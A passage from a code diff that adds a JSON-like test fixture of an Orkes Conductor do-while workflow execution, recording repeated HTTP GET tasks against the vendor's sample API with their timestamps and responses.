"http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_3: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_3__1", + retryCount: 0, + seq: 5, + pollCount: 1, + taskDefName: "http_3", + scheduledTime: 1713413857007, + startTime: 1713413857108, + endTime: 1713413857122, + updateTime: 1713413857108, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "968171ad-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["180"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 47, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "vxqmzdyagxmexnpbaiqd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 101, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_3__1", + retryCount: 0, + seq: 5, + pollCount: 1, + taskDefName: "http_3", + scheduledTime: 1713413857007, + startTime: 1713413857108, + endTime: 1713413857122, + updateTime: 1713413857108, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "968171ad-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["180"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 47, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "vxqmzdyagxmexnpbaiqd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 101, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_3__4", + retryCount: 0, + seq: 17, + pollCount: 1, + taskDefName: "http_3", + scheduledTime: 1713413857705, + startTime: 1713413857770, + endTime: 1713413857805, + updateTime: 1713413857770, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96ec1a69-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3964, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "qsrrgcyapbgeuoceizaa", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 65, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_3__5", + retryCount: 0, + seq: 21, + pollCount: 1, + taskDefName: "http_3", + scheduledTime: 1713413857948, + startTime: 1713413858015, + endTime: 1713413858027, + updateTime: 1713413858015, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97112e9d-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 698, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "aobgjizxlwgiwdasfclh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 67, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_3__6", + retryCount: 0, + seq: 25, + pollCount: 1, + taskDefName: "http_3", + scheduledTime: 1713413858199, + startTime: 1713413858238, + endTime: 1713413858249, + updateTime: 1713413858238, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97377b51-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2489, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "vbksjctcduvxcucqtykv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 39, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_3__9", + retryCount: 0, + seq: 37, + pollCount: 1, + taskDefName: "http_3", + scheduledTime: 1713413858858, + startTime: 1713413858917, + endTime: 1713413858928, + updateTime: 1713413858917, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "979c098d-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1122, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "qixyannkpllogxldfyqi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 59, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_10: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__1", + retryCount: 0, + seq: 6, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413857128, + startTime: 1713413857218, + endTime: 1713413857230, + updateTime: 1713413857218, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9693e83e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7523, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "rzlozabxrltfkexdijot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 90, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__1", + retryCount: 0, + seq: 6, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413857128, + startTime: 1713413857218, + endTime: 1713413857230, + updateTime: 1713413857218, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9693e83e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7523, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "rzlozabxrltfkexdijot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 90, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__2", + retryCount: 0, + seq: 10, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413857348, + startTime: 1713413857439, + endTime: 1713413857451, + updateTime: 1713413857439, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96b5a112-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9295, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "bgnycyjkhkdmiqsnjpcm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 91, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__3", + retryCount: 0, + seq: 14, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413857567, + startTime: 1713413857659, + endTime: 1713413857671, + updateTime: 1713413857659, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96d70bc6-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1008, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "drzushsnuxfkfbxjqvfh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 92, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__4", + retryCount: 0, + seq: 18, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413857810, + startTime: 1713413857904, + endTime: 1713413857915, + updateTime: 1713413857904, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96fc1ffa-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6761, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "taupmlrpyhpzpsulaxqo", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 94, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__5", + retryCount: 0, + seq: 22, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413858034, + startTime: 1713413858126, + endTime: 1713413858139, + updateTime: 1713413858126, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "971e4dfe-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6970, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "igwwnykfobqdnkxmafab", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 92, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__6", + retryCount: 0, + seq: 26, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413858256, + startTime: 1713413858349, + endTime: 1713413858361, + updateTime: 1713413858349, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97402de2-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8930, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "purhjvrqkogxpcyjifxv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__7", + retryCount: 0, + seq: 30, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413858478, + startTime: 1713413858571, + endTime: 1713413858583, + updateTime: 1713413858571, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: 